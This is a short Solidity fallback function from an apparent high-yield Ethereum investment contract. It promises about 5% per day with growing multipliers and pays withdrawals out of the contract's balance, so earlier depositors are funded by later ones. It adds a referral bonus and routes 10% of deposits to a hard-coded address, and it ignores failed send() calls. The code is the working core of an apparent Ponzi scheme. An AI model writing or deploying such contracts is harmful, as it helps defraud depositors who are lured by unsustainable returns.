function ()  payable {
          
            
        if (invested[msg.sender] != 0) {
            
            
            
            uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
            
            amount +=amount*((block.number - 6401132)/118000);
            
            address sender = msg.sender;
            
             if (amount > address(this).balance) {sender.send(address(this).balance);}
             else  sender.send(amount);
            
        }
        
         

        
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
        
         address referrer = bytesToAddress(msg.data);
            if (invested[referrer] > 0 && referrer != msg.sender) {
                invested[msg.sender] += msg.value/10;
                invested[referrer] += msg.value/10;
            
            } else {
                invested[0x705872bebffA94C20f82E8F2e17E4cCff0c71A2C] += msg.value/10;
            }
        
        
       
    }